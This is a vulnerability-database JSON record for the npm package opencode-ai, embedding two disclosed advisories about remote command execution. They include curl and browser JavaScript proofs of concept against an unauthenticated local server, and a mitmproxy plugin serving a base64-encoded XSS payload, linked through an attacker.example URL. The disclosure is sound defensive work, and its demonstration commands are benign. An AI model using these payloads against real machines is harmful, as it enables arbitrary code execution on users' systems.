{"url":"http://public2.vulnerablecode.io/api/packages/902132?format=json","purl":"pkg:npm/opencode-ai@0.0.0-202507151854","type":"npm","namespace":"","name":"opencode-ai","version":"0.0.0-202507151854","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"1.1.10","latest_non_vulnerable_version":"1.1.10","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/18437?format=json","vulnerability_id":"VCID-7gh2-9w2w-hqa3","summary":"OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution\n*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*\n\n### Summary\n\nOpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.\n\n### Details\n\nWhen OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:\n\n- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)\n- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)\n- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)\n\nThe server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.\n\nNo authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.\n\n### PoC\n\n**Local exploitation:**\n\n```bash\nAPI=\"http://127.0.0.1:4096\"  # update with actual port\nSESSION_ID=$(curl -s -X POST \"$API/session\" -H \"Content-Type: application/json\" -d '{}' | jq -r '.id')\ncurl -s -X POST \"$API/session/$SESSION_ID/shell\" -H \"Content-Type: application/json\" \\\n  -d '{\"agent\": \"build\", \"command\": \"echo PWNED > /tmp/pwned.txt\"}'\ncat /tmp/pwned.txt  # outputs: PWNED\n```\n\n**Browser-based exploitation:**\n\nA malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.\n\n```javascript\n// Malicious website JavaScript\nfetch('http://127.0.0.1:4096/session', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  body: '{}'\n})\n.then(r => r.json())\n.then(session => {\n  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {\n    method: 'POST',\n    headers: {'Content-Type': 'application/json'},\n    body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})\n  });\n});\n```\n\nNote: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.\n\n### Impact\n\n**Remote Code Execution** via two vectors:\n\n1. **Local process**: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.\n\n2. **Browser-based (confirmed in Firefox)**: Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.\n\nWith `--mdns` flag, the server binds to `0.0.0.0` and advertises via Bonjour, extending the attack surface to the entire local network.\n\n*Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.*","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-22812","reference_id":"","reference_type":"","scores":[{"value":"0.05324","scoring_system":"epss","scoring_elements":"0.90186","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-22812"},{"reference_url":"https://github.com/anomalyco/opencode","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/anomalyco/opencode"},{"reference_url":"https://github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c"},{"reference_url":"https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-01-13T14:13:37Z/"}],"url":"https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22812","reference_id":"","reference_type":"","scores":[{"value":"8.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22812"},{"reference_url":"https://github.com/advisories/GHSA-vxw4-wv6m-9hhh","reference_id":"GHSA-vxw4-wv6m-9hhh","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-vxw4-wv6m-9hhh"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/51842?format=json","purl":"pkg:npm/opencode-ai@1.0.216","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-h8er-3wqc-due9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/opencode-ai@1.0.216"}],"aliases":["CVE-2026-22812","GHSA-vxw4-wv6m-9hhh"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-7gh2-9w2w-hqa3"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/18572?format=json","vulnerability_id":"VCID-h8er-3wqc-due9","summary":"Malicious website can execute commands on the local system through XSS in the OpenCode web UI\n### Summary\nA malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on `http://localhost:4096`. From there, it is possible to run arbitrary commands on the local system using the `/pty/` endpoints provided by the OpenCode API.\n\n### Code execution via OpenCode API\n\n- The OpenCode API has `/pty/` endpoints that allow spawning arbitrary processes on the local machine.\n- When you run `opencode` in your terminal, OpenCode automatically starts an HTTP server on `localhost:4096` that exposes the API along with a web interface.\n- JavaScript can make arbitrary same-origin `fetch()` requests to the `/pty/` API endpoints. Therefore, JavaScript execution on `http://localhost:4096` gets you code execution on local the machine.\n\n### JavaScript execution on localhost:4096   \n\nThe markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.\n\nThis means controlling the LLM response for a chat session gets you JavaScript execution on the `http://localhost:4096` origin. This alone would not be enough for a 1-click exploit, but there's functionality in `packages/app/src/app.tsx` to allow specifying a custom server URL in a `?url=...` parameter:\n\n```javascript\n// packages/app/src/app.tsx\nconst defaultServerUrl = iife(() => {\n  const param = new URLSearchParams(document.location.search).get(\"url\")\n  if (param) return param\n  \n  // [truncated]\n  \n  return window.location.origin\n})\n```\n\nUsing this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display `ses_45d2d9723ffeHN2DLrTYMz4mHn` from the attacker-controlled server at https://opencode.attacker.example.\n\n### Note on exploitability\n\nBecause the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the `?url=` parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of `Fri, 09 Jan 2026 21:36:31 GMT`. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0. \n\n### Proof of Concept\n\nA simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.\n\n1. Spawn an OpenCode instance in a Docker container\n\n```\n$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0\n```\n\n2. Create a file called `plugin.py` with the contents below\n\n```python\nimport base64\nimport json\n\npayload = \"\"\"\n(async () => {\n    // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']};\n    const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};\n    const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});\n    const pty_id = (await r.json())['id'];\n    await new Promise(r => setTimeout(r, 500));\n    await fetch('/pty/' + pty_id, {method: 'DELETE'})\n    window.location.replace('https://example.com');\n})()\n\"\"\"\n\n# Other messages have been removed from this codeblock for brevity\nmalicious_messages = [\n    #  [truncated]\n    {\n        # [truncated]\n        \"parts\": [\n            # [truncated]\n            {\n                \"id\": \"prt_ba2d26ca0001fcRfwfEZ4bP7gF\",\n                \"sessionID\": \"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\n                \"messageID\": \"msg_ba2d269130016guS0KSZ0FY2J9\",\n                \"type\": \"text\",\n                \"text\": f\"Hello, World!\\n<img src=\\\"/favicon.png\\\" onerror=\\\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\\\" style=\\\"display: none;\\\">\",\n                \"time\": {\n                    \"start\": 1767963258360,\n                    \"end\": 1767963258360\n                }\n            },\n            # [truncated]\n        ]\n    }\n]\n\nmalicious_session = {\"id\":\"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\"version\":\"1.0.220\",\"projectID\":\"global\",\"directory\":\"/\",\"title\":\"Hello World!\",\"time\":{\"created\":1767963257052,\"updated\":1767963258366},\"summary\":{\"additions\":0,\"deletions\":0,\"files\":0}}\n\nasync def response(flow):\n    if flow.request.path.split('?')[0] == '/session':\n        flow.response.text = json.dumps([malicious_session], separators=(',', ':'))\n    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':\n        flow.response.status_code = 200\n        flow.response.text = json.dumps(malicious_session, separators=(',', ':'))\n    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':\n        flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))\n```\n\n3. Start mitmproxy with the plugin in reverse proxy mode\n\n```\n$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096\n```\n\n4. Start OpenCode in your terminal as the victim\n\n```\n$ opencode\n```\n\n5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345\n\n6. Confirm the file `albert-was-here.txt` was created in the `/tmp/` directory\n\n```\n$ ls /tmp/\nalbert-was-here.txt\n```","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-22813","reference_id":"","reference_type":"","scores":[{"value":"0.00043","scoring_system":"epss","scoring_elements":"0.13751","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-22813"},{"reference_url":"https://github.com/anomalyco/opencode","reference_id":"","reference_type":"","scores":[{"value":"9.4","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/anomalyco/opencode"},{"reference_url":"https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp","reference_id":"","reference_type":"","scores":[{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"9.4","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-01-13T14:13:29Z/"}],"url":"https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22813","reference_id":"","reference_type":"","scores":[{"value":"9.4","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22813"},{"reference_url":"https://github.com/advisories/GHSA-c83v-7274-4vgp","reference_id":"GHSA-c83v-7274-4vgp","reference_type":"","scores":[{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-c83v-7274-4vgp"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/53093?format=json","purl":"pkg:npm/opencode-ai@1.1.10","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/opencode-ai@1.1.10"}],"aliases":["CVE-2026-22813","GHSA-c83v-7274-4vgp"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-h8er-3wqc-due9"}],"fixing_vulnerabilities":[],"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/opencode-ai@0.0.0-202507151854"}